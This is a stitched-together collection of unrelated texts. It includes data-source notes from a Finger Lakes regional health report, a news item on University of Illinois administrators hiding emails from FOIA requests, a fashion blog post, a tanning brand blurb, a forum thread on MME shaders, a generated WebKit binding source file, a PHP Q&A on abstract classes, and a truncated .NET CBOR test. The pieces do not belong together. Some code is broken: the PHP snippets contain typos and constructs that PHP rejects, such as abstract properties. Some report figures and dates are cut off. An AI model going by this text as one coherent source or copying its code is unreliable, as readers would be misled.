13 End Notes References 1. The Future of Children: A collaboration of the Woodrow Wilson School of Public and International Affairs at Princeton University and The Brookings Institution. The Health-Related Effects of Socioeconomic Status, February Health, United States, 2011: with special feature on socioeconomic status and health. Hyattsville, MD: National Center for Health Statistics; Centers for Disease Control and Prevention, 2015: Alcohol and Public Health, Fact Sheets on Binge Drinking. Sources for Population Health Measures Community Measures Childhood Immunization New York State Immunization Information System, 2013 Childhood Obesity Student Weight Status Category Reporting System, Adult Obesity Expanded Behavioral Risk Factor Surveillance System (ExpBRFSS) Adult Smoking ExpBRFSS High Blood Pressure Control FLHSA Hypertension Registry, June 2016 Type II Diabetes Control Under Development High School Graduation NYS Department of Education, 2015 Clinical Measures Preventable Hospital Stays NY Statewide Planning and Research Cooperative System (SPARCS), Depression Screening Under Development ED Visits with a Behavioral Health Diagnosis SPARCS, 2014 ED Visits among those SPARCS, Day Readmissions with Behavioral Health Diagnoses SPARCS, 2014 Nursing Home Use among Centers for Medicare and Medicaid Skilled Nursing Facility Cost Reports, 2013 Health Outcomes Premature Death NYS Vital Statistics, 2014 Low Birthweight NYS Perinatal Data Profile, 2015 Good Health Self-Report ExpBRFSS, Data Sources U.S. Census Bureau/American Community Survey: Although the American Community Survey (ACS) produces population, demographic and housing unit estimates, it is the Census Bureau's Population Estimates Program that produces and disseminates the official estimates of the population for the nation, states, counties, cities and towns and estimates of housing units for states and counties. Data are based on a sample and are subject to sampling variability. The value shown here is the 90 percent margin of error. Estimates of urban and rural population, housing units, and characteristics reflect boundaries of urban areas defined based on Census 2010 data. As a result, data for urban and rural areas from the ACS do not necessarily reflect the results of ongoing urbanization. 13
14 New York State Department of Labor: Civilian Unemployment includes those individuals who were not working but were able, available and actively looking for work during the week including the 12th of the month. Individuals who were waiting to be recalled from a layoff, and individuals waiting to report to a new job within 30 days were also considered to be unemployed. Unemployment Rate is the number of unemployed as a percentage of the labor force. Expanded Behavioral Risk Factor Surveillance System/Sub-County Health Data Report: Data was collected for ExpBRFSS over the course of 12 monthly waves, starting April 15, 2013 and ending May 10, The goal of each wave was to obtain roughly 8.3 percent of the required completes in each county for the landline survey and each region for the cell phone survey. Experienced interviewers conducted telephone interviews using computer-assisted telephone interviewing (CATI) software. Finger Lakes Health Systems Agency (FLHSA) High Blood Pressure Registry: The FLHSA hypertension registry collects data from medical practice systems on hypertensive patients. Data provided are reflective of the patients involved in the registry. The Healthcare Effectiveness Data and Information Set (HEDIS) is the tool used to measure hypertension control. Controlled hypertension are those who have a reading in the past year <140/90; Stage 1 are those with a reading between 141/90 159/99; Stage 2 are those with a reading >160/100. Those who have not had a reading in the past 12 months are considered uncontrolled. United States Department of Agriculture Economic Research Service: Low access to healthy food is defined as being far from a supermarket, supercenter or large grocery store ("supermarket" for short). Food desert status is defined as a low income census tract with a supermarket more than a half of a mile away for urban tracts, and more than 10 miles away for rural tracts. Population size is according to the 2010 Census estimates. A census tract is considered to have low access if a significant number or share of individuals in the tract is far from a supermarket. A significant number of the population includes at least 500 people or 33 percent of the tract s population. New York State Department of Health Vital Statistics: The cause of death reported in this publication is the underlying cause classified according to the tenth revision of the International Classification of Diseases (ICD, 10th revision) adopted by New York state in Historically, several revisions of the ICD have been used, therefore, it is necessary to employ a comparability ratio when comparing cause of death statistics across revisions. Comparability ratios have been published by the National Center for Health Statistics (NCHS). New York State Perinatal Data Profile: Premature births are those which occurred prior to 37 weeks gestation. Late or no prenatal care is defined as those who had prenatal care initiated during the third trimester of pregnancy or not at all. The teenage pregnancy rate looks at pregnancies (births + abortions + spontaneous fetal deaths) to females ages per 1,000 female population ages Rates are computed using the 3-year average number of teen pregnancies and the population for the middle year of the three- year time period. Statewide Planning and Research Cooperative System: SPARCS is a comprehensive all payer data reporting system established in 1979 as a result of cooperation between the healthcare industry and government. The system was initially created to collect information on discharges from hospitals. SPARCS currently collects patient level detail on patient characteristics, diagnoses and treatments, services, and charges for each hospital inpatient stay and outpatient (ambulatory surgery, emergency department and outpatient services) visit; and each ambulatory surgery and outpatient services visit to a hospital extension clinic and diagnostic and treatment center licensed to provide ambulatory surgery services. All calculations were performed by FLHSA and are age/sex adjusted rates. 14
15 New York State Immunization Information System (NYSIIS): NYSIIS is a statewide immunization information system or registry which maintains immunization data of persons of all ages. The recommended vaccinations by 36 months of age include the 4:3:1:3:3:1:4 immunization series: 4DTaP, 3 polio, 1 MMR, 3 hep B, 3 Hib, 1 varicella, and 4 PCV13. Student Weight Status Category Reporting System (SWSCR): The SWSCR collects data on weight status category, including underweight, healthy weight, overweight or obese based on BMI-for-age percentile on children and adolescents attending public schools in New York State. NYS Department of Education: Data are submitted to the New York State Department of Education (NYSED) by school districts, charter schools, Boards of Cooperative Education Services (BOCES), institutions of Higher Education and NYSED program offices. Centers for Medicare and Medicaid Skilled Nursing Facility Cost Reports: Data are collected on nursing home days from 2013 residential health care facility cost reports. Population estimates are collected from the U.S. Census Bureau, June For reports on the remaining 8 counties in the Finger Lakes Region, and additional data reports for Ontario County, please visit our website at: For questions regarding this report, please contact Catie Kunecki at: (585)
16 About FLHSA Founded in 1974, Finger Lakes Health Systems Agency is one of the nation s oldest and most effective regional health planning organizations. Located in Rochester s Neighborhood of the Arts, the agency serves the ninecounty Finger Lakes region. We bring together health care providers, insurers, consumers and other partners to find common ground on our most pressing health challenges. Using the region's most comprehensive health data, together we hammer out strategies for better care, smarter spending and healthier people. Learn more about our community tables, our data resources and our work improving population health at Contact Us Finger Lakes Health Systems Agency 1150 University Avenue Rochester, NY (585) Visit us on the web at 16
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The University of Illinois announced that several administrators violated school policy by using private emails to hide sometimes harsh correspondence from public view.
Hundreds of pages of emails released simultaneously include discussions about controlling the damage from a high-profile controversy spurred by the chancellor’s revocation of a job offer to a professor who sent anti-Israel tweets.
Topics of discussion included professor Steven Salaita and his tweets, the hiring of 1970s-era radical James Kilgore and the opening of the Care Illinois College of Medicine. The university said in a statement those emails should have been turned over in a response to a Freedom of Information Request.
Wise appears to signify her emails could land her in trouble.
In an email dated Sept. 18, 2014, she wrote to one employee that she was purposely not communicating on the university's email system because of a litigation matter — one that was not related to the professor, Kilgore or the medical school.
"We are doing virtually nothing over our Illinois email addresses," Wise wrote. "I am even being careful with this email address and deleting after sending."
University spokesman Tom Hardy didn’t say if Wise was asked to step down before she resigned on Thursday. Wise hasn’t explained her resignation, citing only “external issues.”
Hardy also said any further discipline for employees who failed to disclose their personal emails would be determined by the Board of Trustees.
The school became aware of the alleged email violations in late April, then promptly launched an official ethics inquiry, a statement said on Friday. University President Timothy Keelen added that the university “takes its commitment to FOIA compliance and integrity seriously."
Some emails make scathing remarks about the university as a whole. One email, dated July 31 of last year, Wise wrote to Ilesanmi Adesida, the university’s provost, commiserating about complaints over the poor quality of a promotional video being used during a search for a university president.
Wise writes: "I think I still believe that a failed search is the best thing that could happen. Before signing off, she adds: "This place is so messed up."
Adesida writes back later, saying, "I agree, this place is messed up. In my opinion, the University does not need for a President. ... Well, we better get ready for the rain to fall. More controversy coming on."
The decision to rescind Salaita’s job offer led to him filing a lawsuit against her and the school, which is still pending. It also prompted bad publicity in the academic world, where some questioned whether his right to free speech had been violated.
Salaita had written a series of tweets in 2014 complaining about Israeli military action in Gaza. Some university donors complained to Wise that the messages were anti-Semitic.
In others emails released Friday, administrators lamented that the school did not have better procedures in place to prevent hiring scandals.
"We have run into a buzz saw again!" Adesida wrote on July 24, 2014. "One thing that we would like to do is to figure out how we prevent this sort of highly charged and negative blow back like we have had on Kilgore and now Salaita in the future. ... This is potentially a slippery territory!"
Messages left for Salaita's lawyers weren't returned Friday.
Kilgore served time for his role in a 1975 bank robbery committed by members of the radical Symbionese Liberation Army. He was eventually rehired in December months after the university told him it would no longer hire him. |
UK Style Blogger & Youtuber
Comfy
So apparently all I seem to wear at the moment is tracksuits, joggers, oversized jumpers and that’s about it. If it’s not comfy I’m not wearing it, which is why I probably why I avoid jeans so much. So this outfit is exactly that, comfy.
These joggers are the softest things ever i could live in them.. probably will. I’ve twisted the ankles and tucked them in at the bottom to make them a tight fit on the ankles rather than the wide leg shape they are on the website so I can change the shape of them to fit with whatever I’m wearing that day. I love stuff like this I can just throw on, spending ages deciding what to wear it drives me crazy so I’m a major outfit repeater. |
James Read Tan
James Read Tan is the only tanning range formulated and headed by a self tan expert. Every product within the range is handpicked by James himself, resulting in a concise edit of innovative tanning and skincare products formulated to suit every skin type and tone.
James Read hero innovation, Sleep Mask Tan, is the world’s first overnight tanning product to combine skincare benefits with a golden glow. Taking the beauty world by storm, Sleep Mask has graced the pages of the most prestigious publications across the globe; not to mention an unrivalled celebrity fan base, which includes Ellie Goulding, Rosie Huntingdon Whitely and Cara Delevingne.
Become a James Read Tan Stockist
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I have always loved creating new ideas and exciting concepts, so I am delighted to now be pouring all of my secrets and passion into my very own brand. I cannot wait to show you what I have up my sleeve next! |
Yeah, there's a lot of good ones out there, but I stick mainly to a few stalwarts. Don't want to blow up my laptop yet, but the temptation is hard to resist not adding that 'final touch' that slows your PC to the speed of molasses ... I need a new PC, where's Santa in the summer?
This might be a dumb question... but what is a global blender and how do you add it? o.o I have figured out how to add specific shaders to different parts...but how do you add more than one? Like one on say, the lamp, and also one over the entire scene?
Global blender - that's a term I coined so may not be universally known - but basically its an MME effect that affects the entire scene. Common ones are SSAO and Diffusion. They usually load as an accessory model. You can have multiple blenders loaded at the same time.
Gobal shaders/blenders effect the entire scene, the individual models themselves can have separate effects applied to them and still benefit from the effects of the global effects. |
/*
This file is part of the WebKit open source project.
This file has been generated by generate-bindings.pl. DO NOT MODIFY!
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Library General Public
License as published by the Free Software Foundation; either
version 2 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Library General Public License for more details.
You should have received a copy of the GNU Library General Public License
along with this library; see the file COPYING.LIB. If not, write to
the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
Boston, MA 02110-1301, USA.
*/
#include "config.h"
#include "JSReadOnlyMapLike.h"
#include "JSDOMAttribute.h"
#include "JSDOMBinding.h"
#include "JSDOMConstructorNotConstructable.h"
#include "JSDOMConvertAny.h"
#include "JSDOMConvertStrings.h"
#include "JSDOMExceptionHandling.h"
#include "JSDOMMapLike.h"
#include "JSDOMOperation.h"
#include "JSDOMWrapperCache.h"
#include "ScriptExecutionContext.h"
#include <JavaScriptCore/BuiltinNames.h>
#include <JavaScriptCore/FunctionPrototype.h>
#include <JavaScriptCore/HeapSnapshotBuilder.h>
#include <JavaScriptCore/JSCInlines.h>
#include <wtf/GetPtr.h>
#include <wtf/PointerPreparations.h>
#include <wtf/URL.h>
namespace WebCore {
using namespace JSC;
// Functions
JSC::EncodedJSValue JSC_HOST_CALL jsReadOnlyMapLikePrototypeFunctionGet(JSC::ExecState*);
JSC::EncodedJSValue JSC_HOST_CALL jsReadOnlyMapLikePrototypeFunctionHas(JSC::ExecState*);
JSC::EncodedJSValue JSC_HOST_CALL jsReadOnlyMapLikePrototypeFunctionEntries(JSC::ExecState*);
JSC::EncodedJSValue JSC_HOST_CALL jsReadOnlyMapLikePrototypeFunctionKeys(JSC::ExecState*);
JSC::EncodedJSValue JSC_HOST_CALL jsReadOnlyMapLikePrototypeFunctionValues(JSC::ExecState*);
JSC::EncodedJSValue JSC_HOST_CALL jsReadOnlyMapLikePrototypeFunctionForEach(JSC::ExecState*);
// Attributes
JSC::EncodedJSValue jsReadOnlyMapLikeConstructor(JSC::ExecState*, JSC::EncodedJSValue, JSC::PropertyName);
bool setJSReadOnlyMapLikeConstructor(JSC::ExecState*, JSC::EncodedJSValue, JSC::EncodedJSValue);
JSC::EncodedJSValue jsReadOnlyMapLikeSize(JSC::ExecState*, JSC::EncodedJSValue, JSC::PropertyName);
class JSReadOnlyMapLikePrototype : public JSC::JSNonFinalObject {
public:
using Base = JSC::JSNonFinalObject;
static JSReadOnlyMapLikePrototype* create(JSC::VM& vm, JSDOMGlobalObject* globalObject, JSC::Structure* structure)
{
JSReadOnlyMapLikePrototype* ptr = new (NotNull, JSC::allocateCell<JSReadOnlyMapLikePrototype>(vm.heap)) JSReadOnlyMapLikePrototype(vm, globalObject, structure);
ptr->finishCreation(vm);
return ptr;
}
DECLARE_INFO;
static JSC::Structure* createStructure(JSC::VM& vm, JSC::JSGlobalObject* globalObject, JSC::JSValue prototype)
{
return JSC::Structure::create(vm, globalObject, prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), info());
}
private:
JSReadOnlyMapLikePrototype(JSC::VM& vm, JSC::JSGlobalObject*, JSC::Structure* structure)
: JSC::JSNonFinalObject(vm, structure)
{
}
void finishCreation(JSC::VM&);
};
using JSReadOnlyMapLikeConstructor = JSDOMConstructorNotConstructable<JSReadOnlyMapLike>;
template<> JSValue JSReadOnlyMapLikeConstructor::prototypeForStructure(JSC::VM& vm, const JSDOMGlobalObject& globalObject)
{
UNUSED_PARAM(vm);
return globalObject.functionPrototype();
}
template<> void JSReadOnlyMapLikeConstructor::initializeProperties(VM& vm, JSDOMGlobalObject& globalObject)
{
putDirect(vm, vm.propertyNames->prototype, JSReadOnlyMapLike::prototype(vm, globalObject), JSC::PropertyAttribute::DontDelete | JSC::PropertyAttribute::ReadOnly | JSC::PropertyAttribute::DontEnum);
putDirect(vm, vm.propertyNames->name, jsNontrivialString(&vm, String("ReadOnlyMapLike"_s)), JSC::PropertyAttribute::ReadOnly | JSC::PropertyAttribute::DontEnum);
putDirect(vm, vm.propertyNames->length, jsNumber(0), JSC::PropertyAttribute::ReadOnly | JSC::PropertyAttribute::DontEnum);
}
template<> const ClassInfo JSReadOnlyMapLikeConstructor::s_info = { "ReadOnlyMapLike", &Base::s_info, nullptr, nullptr, CREATE_METHOD_TABLE(JSReadOnlyMapLikeConstructor) };
/* Hash table for prototype */
static const HashTableValue JSReadOnlyMapLikePrototypeTableValues[] =
{
{ "constructor", static_cast<unsigned>(JSC::PropertyAttribute::DontEnum), NoIntrinsic, { (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsReadOnlyMapLikeConstructor), (intptr_t) static_cast<PutPropertySlot::PutValueFunc>(setJSReadOnlyMapLikeConstructor) } },
{ "size", static_cast<unsigned>(JSC::PropertyAttribute::DontEnum | JSC::PropertyAttribute::ReadOnly | JSC::PropertyAttribute::CustomAccessor), NoIntrinsic, { (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsReadOnlyMapLikeSize), (intptr_t) static_cast<PutPropertySlot::PutValueFunc>(0) } },
{ "get", static_cast<unsigned>(JSC::PropertyAttribute::DontEnum | JSC::PropertyAttribute::Function), NoIntrinsic, { (intptr_t)static_cast<RawNativeFunction>(jsReadOnlyMapLikePrototypeFunctionGet), (intptr_t) (1) } },
{ "has", static_cast<unsigned>(JSC::PropertyAttribute::DontEnum | JSC::PropertyAttribute::Function), NoIntrinsic, { (intptr_t)static_cast<RawNativeFunction>(jsReadOnlyMapLikePrototypeFunctionHas), (intptr_t) (1) } },
{ "entries", static_cast<unsigned>(JSC::PropertyAttribute::DontEnum | JSC::PropertyAttribute::Function), NoIntrinsic, { (intptr_t)static_cast<RawNativeFunction>(jsReadOnlyMapLikePrototypeFunctionEntries), (intptr_t) (0) } },
{ "keys", static_cast<unsigned>(JSC::PropertyAttribute::DontEnum | JSC::PropertyAttribute::Function), NoIntrinsic, { (intptr_t)static_cast<RawNativeFunction>(jsReadOnlyMapLikePrototypeFunctionKeys), (intptr_t) (0) } },
{ "values", static_cast<unsigned>(JSC::PropertyAttribute::DontEnum | JSC::PropertyAttribute::Function), NoIntrinsic, { (intptr_t)static_cast<RawNativeFunction>(jsReadOnlyMapLikePrototypeFunctionValues), (intptr_t) (0) } },
{ "forEach", static_cast<unsigned>(JSC::PropertyAttribute::Function), NoIntrinsic, { (intptr_t)static_cast<RawNativeFunction>(jsReadOnlyMapLikePrototypeFunctionForEach), (intptr_t) (1) } },
};
const ClassInfo JSReadOnlyMapLikePrototype::s_info = { "ReadOnlyMapLikePrototype", &Base::s_info, nullptr, nullptr, CREATE_METHOD_TABLE(JSReadOnlyMapLikePrototype) };
void JSReadOnlyMapLikePrototype::finishCreation(VM& vm)
{
Base::finishCreation(vm);
reifyStaticProperties(vm, JSReadOnlyMapLike::info(), JSReadOnlyMapLikePrototypeTableValues, *this);
putDirect(vm, vm.propertyNames->iteratorSymbol, getDirect(vm, vm.propertyNames->builtinNames().entriesPublicName()), static_cast<unsigned>(JSC::PropertyAttribute::DontEnum));
}
const ClassInfo JSReadOnlyMapLike::s_info = { "ReadOnlyMapLike", &Base::s_info, nullptr, nullptr, CREATE_METHOD_TABLE(JSReadOnlyMapLike) };
JSReadOnlyMapLike::JSReadOnlyMapLike(Structure* structure, JSDOMGlobalObject& globalObject, Ref<ReadOnlyMapLike>&& impl)
: JSDOMWrapper<ReadOnlyMapLike>(structure, globalObject, WTFMove(impl))
{
}
void JSReadOnlyMapLike::finishCreation(VM& vm)
{
Base::finishCreation(vm);
ASSERT(inherits(vm, info()));
synchronizeBackingMap(*globalObject()->globalExec(), *globalObject(), *this);
}
JSObject* JSReadOnlyMapLike::createPrototype(VM& vm, JSDOMGlobalObject& globalObject)
{
return JSReadOnlyMapLikePrototype::create(vm, &globalObject, JSReadOnlyMapLikePrototype::createStructure(vm, &globalObject, globalObject.objectPrototype()));
}
JSObject* JSReadOnlyMapLike::prototype(VM& vm, JSDOMGlobalObject& globalObject)
{
return getDOMPrototype<JSReadOnlyMapLike>(vm, globalObject);
}
JSValue JSReadOnlyMapLike::getConstructor(VM& vm, const JSGlobalObject* globalObject)
{
return getDOMConstructor<JSReadOnlyMapLikeConstructor>(vm, *jsCast<const JSDOMGlobalObject*>(globalObject));
}
void JSReadOnlyMapLike::destroy(JSC::JSCell* cell)
{
JSReadOnlyMapLike* thisObject = static_cast<JSReadOnlyMapLike*>(cell);
thisObject->JSReadOnlyMapLike::~JSReadOnlyMapLike();
}
template<> inline JSReadOnlyMapLike* IDLAttribute<JSReadOnlyMapLike>::cast(ExecState& state, EncodedJSValue thisValue)
{
return jsDynamicCast<JSReadOnlyMapLike*>(state.vm(), JSValue::decode(thisValue));
}
template<> inline JSReadOnlyMapLike* IDLOperation<JSReadOnlyMapLike>::cast(ExecState& state)
{
return jsDynamicCast<JSReadOnlyMapLike*>(state.vm(), state.thisValue());
}
EncodedJSValue jsReadOnlyMapLikeConstructor(ExecState* state, EncodedJSValue thisValue, PropertyName)
{
VM& vm = state->vm();
auto throwScope = DECLARE_THROW_SCOPE(vm);
auto* prototype = jsDynamicCast<JSReadOnlyMapLikePrototype*>(vm, JSValue::decode(thisValue));
if (UNLIKELY(!prototype))
return throwVMTypeError(state, throwScope);
return JSValue::encode(JSReadOnlyMapLike::getConstructor(state->vm(), prototype->globalObject()));
}
bool setJSReadOnlyMapLikeConstructor(ExecState* state, EncodedJSValue thisValue, EncodedJSValue encodedValue)
{
VM& vm = state->vm();
auto throwScope = DECLARE_THROW_SCOPE(vm);
auto* prototype = jsDynamicCast<JSReadOnlyMapLikePrototype*>(vm, JSValue::decode(thisValue));
if (UNLIKELY(!prototype)) {
throwVMTypeError(state, throwScope);
return false;
}
// Shadowing a built-in constructor
return prototype->putDirect(vm, vm.propertyNames->constructor, JSValue::decode(encodedValue));
}
static inline JSValue jsReadOnlyMapLikeSizeGetter(ExecState& state, JSReadOnlyMapLike& thisObject, ThrowScope& throwScope)
{
UNUSED_PARAM(throwScope);
UNUSED_PARAM(state);
JSValue result = toJS<IDLAny>(state, throwScope, forwardSizeToMapLike(state, thisObject));
return result;
}
EncodedJSValue jsReadOnlyMapLikeSize(ExecState* state, EncodedJSValue thisValue, PropertyName)
{
return IDLAttribute<JSReadOnlyMapLike>::get<jsReadOnlyMapLikeSizeGetter>(*state, thisValue, "size");
}
static inline JSC::EncodedJSValue jsReadOnlyMapLikePrototypeFunctionGetBody(JSC::ExecState* state, typename IDLOperation<JSReadOnlyMapLike>::ClassParameter castedThis, JSC::ThrowScope& throwScope)
{
UNUSED_PARAM(state);
UNUSED_PARAM(throwScope);
if (UNLIKELY(state->argumentCount() < 1))
return throwVMError(state, throwScope, createNotEnoughArgumentsError(state));
auto key = convert<IDLDOMString>(*state, state->uncheckedArgument(0));
RETURN_IF_EXCEPTION(throwScope, encodedJSValue());
return JSValue::encode(toJS<IDLAny>(forwardGetToMapLike(*state, *castedThis, WTFMove(key))));
}
EncodedJSValue JSC_HOST_CALL jsReadOnlyMapLikePrototypeFunctionGet(ExecState* state)
{
return IDLOperation<JSReadOnlyMapLike>::call<jsReadOnlyMapLikePrototypeFunctionGetBody>(*state, "get");
}
static inline JSC::EncodedJSValue jsReadOnlyMapLikePrototypeFunctionHasBody(JSC::ExecState* state, typename IDLOperation<JSReadOnlyMapLike>::ClassParameter castedThis, JSC::ThrowScope& throwScope)
{
UNUSED_PARAM(state);
UNUSED_PARAM(throwScope);
if (UNLIKELY(state->argumentCount() < 1))
return throwVMError(state, throwScope, createNotEnoughArgumentsError(state));
auto key = convert<IDLDOMString>(*state, state->uncheckedArgument(0));
RETURN_IF_EXCEPTION(throwScope, encodedJSValue());
return JSValue::encode(toJS<IDLAny>(forwardHasToMapLike(*state, *castedThis, WTFMove(key))));
}
EncodedJSValue JSC_HOST_CALL jsReadOnlyMapLikePrototypeFunctionHas(ExecState* state)
{
return IDLOperation<JSReadOnlyMapLike>::call<jsReadOnlyMapLikePrototypeFunctionHasBody>(*state, "has");
}
static inline JSC::EncodedJSValue jsReadOnlyMapLikePrototypeFunctionEntriesBody(JSC::ExecState* state, typename IDLOperation<JSReadOnlyMapLike>::ClassParameter castedThis, JSC::ThrowScope& throwScope)
{
UNUSED_PARAM(state);
UNUSED_PARAM(throwScope);
return JSValue::encode(toJS<IDLAny>(forwardEntriesToMapLike(*state, *castedThis)));
}
EncodedJSValue JSC_HOST_CALL jsReadOnlyMapLikePrototypeFunctionEntries(ExecState* state)
{
return IDLOperation<JSReadOnlyMapLike>::call<jsReadOnlyMapLikePrototypeFunctionEntriesBody>(*state, "entries");
}
static inline JSC::EncodedJSValue jsReadOnlyMapLikePrototypeFunctionKeysBody(JSC::ExecState* state, typename IDLOperation<JSReadOnlyMapLike>::ClassParameter castedThis, JSC::ThrowScope& throwScope)
{
UNUSED_PARAM(state);
UNUSED_PARAM(throwScope);
return JSValue::encode(toJS<IDLAny>(forwardKeysToMapLike(*state, *castedThis)));
}
EncodedJSValue JSC_HOST_CALL jsReadOnlyMapLikePrototypeFunctionKeys(ExecState* state)
{
return IDLOperation<JSReadOnlyMapLike>::call<jsReadOnlyMapLikePrototypeFunctionKeysBody>(*state, "keys");
}
static inline JSC::EncodedJSValue jsReadOnlyMapLikePrototypeFunctionValuesBody(JSC::ExecState* state, typename IDLOperation<JSReadOnlyMapLike>::ClassParameter castedThis, JSC::ThrowScope& throwScope)
{
UNUSED_PARAM(state);
UNUSED_PARAM(throwScope);
return JSValue::encode(toJS<IDLAny>(forwardValuesToMapLike(*state, *castedThis)));
}
EncodedJSValue JSC_HOST_CALL jsReadOnlyMapLikePrototypeFunctionValues(ExecState* state)
{
return IDLOperation<JSReadOnlyMapLike>::call<jsReadOnlyMapLikePrototypeFunctionValuesBody>(*state, "values");
}
static inline JSC::EncodedJSValue jsReadOnlyMapLikePrototypeFunctionForEachBody(JSC::ExecState* state, typename IDLOperation<JSReadOnlyMapLike>::ClassParameter castedThis, JSC::ThrowScope& throwScope)
{
UNUSED_PARAM(state);
UNUSED_PARAM(throwScope);
if (UNLIKELY(state->argumentCount() < 1))
return throwVMError(state, throwScope, createNotEnoughArgumentsError(state));
auto callback = convert<IDLAny>(*state, state->uncheckedArgument(0));
RETURN_IF_EXCEPTION(throwScope, encodedJSValue());
return JSValue::encode(toJS<IDLAny>(forwardForEachToMapLike(*state, *castedThis, WTFMove(callback))));
}
EncodedJSValue JSC_HOST_CALL jsReadOnlyMapLikePrototypeFunctionForEach(ExecState* state)
{
return IDLOperation<JSReadOnlyMapLike>::call<jsReadOnlyMapLikePrototypeFunctionForEachBody>(*state, "forEach");
}
void JSReadOnlyMapLike::heapSnapshot(JSCell* cell, HeapSnapshotBuilder& builder)
{
auto* thisObject = jsCast<JSReadOnlyMapLike*>(cell);
builder.setWrappedObjectForCell(cell, &thisObject->wrapped());
if (thisObject->scriptExecutionContext())
builder.setLabelForCell(cell, "url " + thisObject->scriptExecutionContext()->url().string());
Base::heapSnapshot(cell, builder);
}
bool JSReadOnlyMapLikeOwner::isReachableFromOpaqueRoots(JSC::Handle<JSC::Unknown> handle, void*, SlotVisitor& visitor, const char** reason)
{
UNUSED_PARAM(handle);
UNUSED_PARAM(visitor);
UNUSED_PARAM(reason);
return false;
}
void JSReadOnlyMapLikeOwner::finalize(JSC::Handle<JSC::Unknown> handle, void* context)
{
auto* jsReadOnlyMapLike = static_cast<JSReadOnlyMapLike*>(handle.slot()->asCell());
auto& world = *static_cast<DOMWrapperWorld*>(context);
uncacheWrapper(world, &jsReadOnlyMapLike->wrapped(), jsReadOnlyMapLike);
}
#if ENABLE(BINDING_INTEGRITY)
#if PLATFORM(WIN)
#pragma warning(disable: 4483)
extern "C" { extern void (*const __identifier("??_7ReadOnlyMapLike@WebCore@@6B@")[])(); }
#else
extern "C" { extern void* _ZTVN7WebCore15ReadOnlyMapLikeE[]; }
#endif
#endif
JSC::JSValue toJSNewlyCreated(JSC::ExecState*, JSDOMGlobalObject* globalObject, Ref<ReadOnlyMapLike>&& impl)
{
#if ENABLE(BINDING_INTEGRITY)
void* actualVTablePointer = *(reinterpret_cast<void**>(impl.ptr()));
#if PLATFORM(WIN)
void* expectedVTablePointer = WTF_PREPARE_VTBL_POINTER_FOR_INSPECTION(__identifier("??_7ReadOnlyMapLike@WebCore@@6B@"));
#else
void* expectedVTablePointer = WTF_PREPARE_VTBL_POINTER_FOR_INSPECTION(&_ZTVN7WebCore15ReadOnlyMapLikeE[2]);
#endif
// If this fails ReadOnlyMapLike does not have a vtable, so you need to add the
// ImplementationLacksVTable attribute to the interface definition
static_assert(std::is_polymorphic<ReadOnlyMapLike>::value, "ReadOnlyMapLike is not polymorphic");
// If you hit this assertion you either have a use after free bug, or
// ReadOnlyMapLike has subclasses. If ReadOnlyMapLike has subclasses that get passed
// to toJS() we currently require ReadOnlyMapLike you to opt out of binding hardening
// by adding the SkipVTableValidation attribute to the interface IDL definition
RELEASE_ASSERT(actualVTablePointer == expectedVTablePointer);
#endif
return createWrapper<ReadOnlyMapLike>(globalObject, WTFMove(impl));
}
JSC::JSValue toJS(JSC::ExecState* state, JSDOMGlobalObject* globalObject, ReadOnlyMapLike& impl)
{
return wrap(state, globalObject, impl);
}
ReadOnlyMapLike* JSReadOnlyMapLike::toWrapped(JSC::VM& vm, JSC::JSValue value)
{
if (auto* wrapper = jsDynamicCast<JSReadOnlyMapLike*>(vm, value))
return &wrapper->wrapped();
return nullptr;
}
}
|
Q:
How to work with PHP abstract?
Why would you use such abstract? Does it speed up work or what exactly its for?
// file1.php
abstract class Search_Adapter_Abstract {
private $ch = null;
abstract private function __construct()
{
}
abstract public funciton __destruct() {
curl_close($this->ch);
}
abstract public function search($searchString,$offset,$count);
}
// file2.php
include("file1.php");
class abc extends Search_Adapter_Abstract
{
// Will the curl_close now automatically be closed?
}
What is the reason of extending abstract here? Makes me confused. What can i get from it now?
A:
You can use abstract classes to define and partially implement common tasks that an extended class should do. Since explaining it is difficult without an example, consider this:
Without abstract classes, you would have to define two basic classes with the same methods and implementation. Since OOP is all about preventing code duplication, this is quite wrong:
class Car {
public $brand = 'mercedes';
public function gasPerMile($weight)
{
// Useless calculation, purely for illustrating
$foo = $weight * 89 / 100;
return $foo;
}
public function carSpecificFunction()
{
// Only present in class Car
}
}
class Truck {
public $brand = 'MAN';
public function gasPerMile($weight)
{
// Useless calculation, purely for illustrating
$foo = $weight * 89 / 100;
return $foo;
}
public function truckSpecificFunction()
{
// Only present in class Truck
}
}
Now you have some common properties and methods, which are duplicated in two classes. To prevent that, we could define an abstract class from which Car and Truck are extended. This way, common functionalities are kept in one place and the extended classes will implement specific properties and methods for either the Truck or the Car.
abstract class Vehicle {
abstract public $brand;
public function gasPerMile($weight)
{
// Useless calculation, purely for illustrating
$foo = $weight * 89 / 100;
return $foo;
}
}
This way, you ensure that atleast every class that extends Vehicle has to have a brand specified and the common gasPerMile() method can be used by all extended classes.
Of course, this is a simple example, but hopefully it illustrates why abstract classes can be useful.
|
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
using Test.Cryptography;
using Xunit;
namespace System.Formats.Cbor.Tests
{
public partial class CborReaderTests
{
// Data points taken from https://tools.ietf.org/html/rfc7049#appendix-A
// Additional pairs generated using http://cbor.me/
[Theory]
[InlineData(0.0, "f90000")]
[InlineData(-0.0, "f98000")]
[InlineData(1.0, "f93c00")]
[InlineData(1.5, "f93e00")]
[InlineData(65504.0, "f97bff")]
[InlineData(5.960464477539063e-8, "f90001")]
[InlineData(0.00006103515625, "f90400")]
[InlineData(-4.0, "f9c400")]
[InlineData(double.PositiveInfinity, "f97c00")]
[InlineData(double.NaN, "f97e00")]
[InlineData(double.NegativeInfinity, "f9fc00")]
public static void ReadHalf_SingleValue_HappyPath(float expectedResult, string hexEncoding)
{
byte[] encoding = hexEncoding.HexToByteArray();
var reader = new CborReader(encoding);
Assert.Equal(CborReaderState.HalfPrecisionFloat, reader.PeekState());
Half actualResult = reader.ReadHalf();
AssertHelpers.Equal((Half)expectedResult, actualResult);
Assert.Equal(CborReaderState.Finished, reader.PeekState());
}
[Theory]
[InlineData(100000.0, "fa47c35000")]
